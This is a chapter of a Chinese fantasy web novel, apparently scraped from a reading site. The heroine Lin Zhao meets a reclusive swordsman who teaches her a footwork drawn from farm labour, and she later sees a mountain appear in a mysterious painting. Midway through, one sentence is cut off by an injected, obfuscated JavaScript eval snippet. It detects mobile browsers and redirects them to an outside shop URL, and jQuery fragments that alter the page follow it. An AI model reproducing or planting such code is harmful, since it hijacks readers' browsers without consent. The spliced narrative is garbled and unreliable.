默认冷灰
24号文字
方正启体

12. 晒谷步法

作者:鹤九山本书字数:K更新时间:
    玄霄镇比林照想象中更大,也更拥挤。


    镇子依山而建,从山脚一直延伸到半山腰。青石板铺成的街道纵横交错,两侧是密密麻麻的店铺、客栈、茶楼、酒肆。街上行人摩肩接踵,有锦衣华服的世家子弟,有风尘仆仆的散修,有吆喝叫卖的小贩,还有维持秩序的玄霄阁外门弟子——他们穿着统一的青色劲装,胸口绣着云纹,在人群中格外显眼。


    陈砚家的铺子在镇子西头,是座两层小楼。一楼卖些符纸、朱砂、低阶丹药之类的修行用品,二楼隔出三间客房。店面不大,但位置不错,离试炼报名的广场只有两条街。


    “到了。”陈砚掏出钥匙打开门,“我爹说,这铺子开了三十年,每年就靠试炼这一个月赚钱。”


    铺子里有个伙计在照看,是个精瘦的中年人,看见陈砚连忙迎上来:“少爷回来了!房间给您留着呢,天字一号房,窗朝南,通风好。”


    陈砚点点头,带林照上楼。


    天字一号房确实不错。房间不大,但干净整洁,一张床,一张桌,一把椅,还有个小窗户。推开窗,能看见远处的山峦和近处的屋顶。阳光照进来,暖洋洋的。


    “林姑娘住这儿,听伙计说隔壁住着个奇怪的邻居,我住对面。”陈砚说,“有事随时叫我。”


    安顿下来后,林照想去街上看看。


    陈砚要照看铺子——他爹临走前交代,试炼期间生意最忙,得帮着打理。林照便一个人出了门。


    街上果然热闹非凡。


    卖丹药的摊子前围满了人,摊主是个白胡子老头,举着个瓷瓶唾沫横飞:“上品聚气丹!服一粒可抵三日苦修!限量十瓶,先到先得!”


    卖法器的铺子门口挂着各式刀剑,寒光闪闪。有年轻修士在试剑,剑锋划过空气发出尖啸,引来一片喝彩。


    最热闹的是广场中央的报名处。十几个玄霄阁弟子坐在长桌后,面前排着长长的队伍。排队的人有的紧张,有的兴奋,有的面无表情。每隔一会儿,就有人被叫到桌前测试骨龄、修为——骨龄超过二十五,修为低于炼气三层,直接淘汰。


    林照在人群外围看了一会儿。她没去排队——陈砚说过,报名要持续三天,不急。


    她转身走进旁边的小巷,想找个清静地方。


    巷子很深,两侧是高墙,墙上爬满青藤。越往里走,人声越远,最后只剩下自己的脚步声和风吹过藤叶的沙沙声。巷子尽头有口古井,井边有棵老槐树,树下摆着几个石凳。


    林照在石凳上坐下,从怀里取出那幅画。


    解开红丝带,展开卷轴。午后的阳光透过槐树叶隙洒在纸上,斑斑驳驳。那个墨点静静躺在宣纸中央,米粒大小,黝黑深沉。


    她盯着墨点看了很久。


    然后闭上眼,调动“见云”境的感知。


    这一次,她“看”得更清晰了。墨点里确实有东西在动——不是形状的变动,是“气”的流动。像泉水在地下暗涌,像种子在泥土里呼吸,像……像一座山在缓慢生长。


    她睁开眼,忽然发现:墨点的颜色,在阳光下似乎深了一分。


    不是错觉。她用手指轻轻触摸墨点边缘,指尖传来微微的温热感——像是墨里掺了什么特殊的东西,会在特定光线下产生反应。


    “有趣吗?”


    一个声音忽然响起。


    林照猛地抬头,看见巷口站着个人。是个年轻男子,约莫二十三四岁,一身洗得发白的蓝布衫,腰间挂着把无鞘长剑。剑很旧,剑柄磨得发亮,剑身上有细密的划痕。他面容清瘦,眉骨很高,眼睛细长,眼神很静,像深井里的水。


    最特别的是他的站姿——双脚不丁不八,看似随意,但林照能“感觉”到,他的重心稳得像扎根的树,全身没有一丝多余的劲。


    这是个高手。


    林照收起画卷,站起身:“您是?”


    “沈不言。”男子声音很平,没什么起伏,“住你隔壁。”


    林照愣了愣。想起陈砚说的“隔壁住着一个奇怪的邻居”——应该就是他了。


    “林照。”她说。


    沈不言点点头,目光落在她手里的画卷上:“周言的画?”


    林照心头一震:“您认识周先生?”


    “见过。”沈不言走进巷子,在井边坐下,“三年前,在北封城。他在街头作画,画一座不存在的山。我在旁边看了一天。”


    他的说话方式很特别,句子短,停顿多,像在斟酌每个字的分量。


    “然后呢?”林照问。


    “然后他画完了,画自燃了。”沈不言说,“天火焚画,不留痕迹。围观的人都说他是骗子,是耍戏法的。只有我知道,那是真的。”


    “为什么?”


    “因为我也看见过。”沈不言抬头看天,“那座山。”


    林照屏住呼吸。


    沈不言却不再说山的事,转而问:“你是来参加试炼的?”


    “是。”


    “为什么?”


    这个问题今天第二次被问到。林照想了想,给出同样的答案:“想看看这天地有多大,想看看自己能走多远。”


    沈不言看了她一眼,眼神里有东西闪了闪:“好。”他说,“但玄霄阁的路,不好走。”


    “我知道。”


    “你不知道。”沈不言说,“他们考的是‘标准答案’。你的答案,不是他们要的。”


    林照沉默了。陈砚也说过类似的话。


    沈不言站起身,走到巷子中央。他忽然拔剑——动作很慢,但很稳。剑尖斜指地面,整个人像一张拉满的弓。


    “看好了。”他说。


    然后他开始舞剑。


    不是那种花哨的剑法,是很朴素的招式。劈、刺、撩、抹、削,每个动作都干净利落,没有多余的花招。但林照能“看”到——在“见云”境的感知里,沈不言的剑不是死的,是活的。剑锋划过的轨迹,像水流过石缝,像风吹过麦浪,自然而然地找到阻力最小的路径。


    最让她惊讶的是沈不言的步法。


    看似简单的前进、后退、侧移,但每一步都恰到好处。像在雨中行走,能避开每一滴雨;像在麦田里穿行,能不碰倒一株麦穗。


    “这是……”林照喃喃。


    “晒谷步法。”沈不言收剑,气息平稳,“你师父没教你?”


    林照愣住了。晒谷步法?师父从没提过……


    等等。


    她忽然想起,在晒谷观时,每年秋天晒谷子,要在晒谷场上铺开麦穗,又要收起来。晒谷场不大,麦穗铺得满,人在上面走,不能踩到麦穗,又要走得快。师父示范过一种特别的走法:脚步轻,落脚准,转身时像麦浪起伏一样自然。


    她当时只觉得那是干活的技巧,从来没想过……


    “步法不是学来的,是活出来的。”沈不言说,“你在晒谷观长大,天天在麦田里走,在药田里蹲,在晒谷场上转——你的身体,早就记住了那种节奏。”


    他顿了顿:“试着走一走。别想步法,想麦浪。”


    林照看着空荡荡的巷子,闭上眼。


    她想晒谷观秋天的麦田。风吹过时,麦浪起伏,一层推着一层,像金色的海。人在田埂上走,要顺着麦浪的起伏,不然会绊倒。


    她睁开眼,迈出第一步。


    脚步很轻,落地时脚掌先着地,然后脚踝微转,把力量均匀分散。第二步,身体微微侧倾,像麦秆被风吹弯。第三步,转身,不是硬转,是顺着身体的惯性,像麦穗在风中摇摆。


    很别扭。因为她在“想”,而不是“做”。


    “错了。”沈不言说,“别想。走。”


    林照深吸口气,闭上眼。这次,她不“想”了。她让自己回到晒谷观,回到那片麦田。她是个收麦子的农人,要在麦浪里穿行,要避开倒伏的麦穗,要找到最省力的路。


    她开始走。


    第一步,依然别扭。第二步,好了一点。第三步、第四步……渐渐地,她的脚步变得流畅起来。不是刻意的流畅,是那种劳作多年形成的、肌肉记忆里的流畅。像水流下坡,像风吹过林,自然而然。


    巷子不长,她走到头,又走回来。


    走到沈不言面前时,她睁开眼,发现沈不言在点头。


    “有点意思了。”他说,“但还不够‘空’。”


    “空?”


    “步法要空,心也要空。”沈不言说,“像麦浪,风吹就动,风停就静。没有‘我要怎么走’的念头,只有‘风来了,我动了’的反应。”


    林照似懂非懂。


    沈不言也不多解释,只说:“每天练。早上练,晚上练,走路时练,吃饭时练。练到忘记自己在练,就对了。”


    他收起剑,转身要走。


    “沈先生,”林照叫住他,“您为什么要教我?”


    沈不言停下脚步,没回头:“因为你的步法里,有麦香。”他顿了顿,“这年头,身上还带着泥土味的人,不多了。”


    说完,他走出巷子,消失在拐角。


    林照站在原地,回味着刚才的话。


    身上还带着泥土味的人……


    她低头看看自己的手。手掌有茧,指甲缝里还残留着前几天帮渔夫补网时沾的麻线屑。她确实和街上那些锦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233472|197631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衣华服的修士不一样——他们身上是熏香味、丹药味、剑气锋芒味。而她,是泥土味、麦香味、草药味。


    她忽然不觉得这有什么不好了。


    回到铺子时,天已近黄昏。


    陈砚正在柜台上算账,看见林照回来,笑道:“林姑娘逛得如何?可有什么新鲜事?”


    “遇见个邻居。”林照说,“沈不言。”


    陈砚手一顿,笔尖在账本上洇开一团墨:“你遇见他了?他说什么了?”


    “教了我一套步法。”


    陈砚放下笔,表情复杂:“沈不言这个人……很怪。他来镇上半个月了,整天闭门不出,偶尔出门就是去后山练剑。我听掌柜说,他剑法极高,但身上没有门派印记,是个散修。”他压低声音,“有人猜他是某个大宗门叛逃的弟子,也有人说他是隐居的高人之后。总之,离他远点为好。”


    林照想起沈不言那双深井般的眼睛,点点头:“知道了。”


    但心里想的却是:能说出“步法不是学来的,是活出来的”这种话的人,怎么可能是坏人?


    晚饭是伙计做的,简单的一菜一汤。吃过饭,林照回房休息。


    夜里,她躺在床上,回想白天沈不言教的步法。想着想着,忽然坐起身,在房间里试着走起来。


    房间很小,走不了几步就到头。但她不在意,只是一遍遍地走,从床走到窗,从窗走到门。开始时还想着步法要领,后来渐渐忘了,只是走。脚步很轻,落地无声,像猫。


    走了约莫半个时辰,她忽然停住。


    因为她“听”到了——不是用耳朵,是用“见云”境的感知。她“听”到隔壁房间有极细微的声音:呼吸声,绵长平稳;还有……剑鸣声?不是真的鸣响,是剑气在空气中流动的“声音”。


    沈不言在练剑。


    林照闭上眼睛,将感知聚焦在隔壁。


    她“看”到了——不是具体的影像,是气的流动。沈不言的剑气很特别,不是锋利的,是温润的。像春雨,细密无声,但能渗透万物。他在房间里舞剑,剑气在方寸之间流转,不碰墙壁,不碰家具,像水在容器里流动,自然填满每一处空隙。


    最让她惊讶的是沈不言的呼吸。


    呼吸与剑招完全同步。吸气时剑起,呼气时剑落,一呼一吸,一剑一招,浑然一体。就像……就像麦浪起伏与风的关系。


    林照忽然明白了沈不言说的“空”。


    不是真的空,是“无我”。不是“我在舞剑”,是“剑在舞”;不是“我在呼吸”,是“呼吸在呼吸”。人成了媒介,成了通道,让天地间的“气”自然流过。


    她重新开始走步。


    这次,她不“想”步法,也不想麦田。她只是走,让脚步自己找路。就像风吹麦浪,麦浪不知道风从哪里来,要往哪里去,只是顺着风的力道,自然而然地起伏。


    一步,两步,三步……


    渐渐地,她的呼吸与脚步同步了。吸气时抬脚,呼气时落脚。每一步都踏在呼吸的节点上,像钟摆一样规律。


    她越走越慢,但越走越稳。房间里没有风,但她感觉自己像在麦浪里穿行,每一步都顺着某种看不见的“流”。


    不知走了多久,她停下来,睁开眼。


    窗外月色正好,银辉洒进房间,在地上铺出一片清光。她走到窗边,看见远处的山峦在月光下勾勒出朦胧的轮廓。


    像一幅水墨画。


    她忽然想起怀里的那幅画。取出来,在月光下展开。


    月光照在宣纸上,那个墨点……在发光。


    不是刺眼的光,是莹莹的微光,像夜明珠,像萤火虫。光很淡,但在夜色里清晰可见。更神奇的是,墨点周围,隐约浮现出极淡的轮廓——山的轮廓。虽然模糊,但确实是山。


    林照屏住呼吸,盯着画看。


    月光移动,轮廓也在变化。有时像险峰,有时像缓坡,有时像……像一座小屋的剪影。


    她看了很久,直到月光偏斜,轮廓消失,墨点恢复原状。


    她把画重新卷好,贴身收好。


    躺在床上时,她还在想:周言画这座山,沈不言见过这座山,她现在在画里看见这座山。这座山……到底在哪里?


    窗外的玄霄镇渐渐安静下来。远处传来打更的声音:三更天了。


    林照闭上眼睛。


    梦里,她走在一条山路上。路很陡,云雾缭绕,看不见前方。但她走得很稳,每一步都踏得很实。走着走着,云雾散开,她看见山顶有座小屋,屋里有光。


    她朝着光走去。


    脚步轻快,像在麦田里穿行。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)